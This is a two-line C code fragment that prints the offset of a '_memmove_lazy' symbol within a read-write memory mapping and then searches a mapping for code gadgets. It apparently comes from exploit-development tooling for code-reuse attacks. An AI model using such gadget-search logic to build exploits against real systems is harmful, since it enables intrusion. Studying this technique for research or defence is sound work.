printf("_memmove_lazy: 0x%llx (rw + 0x%llx)\n", memmove_lazy, memmove_lazy - map[1].address);
rv = search_gadgets(p, map[0].size);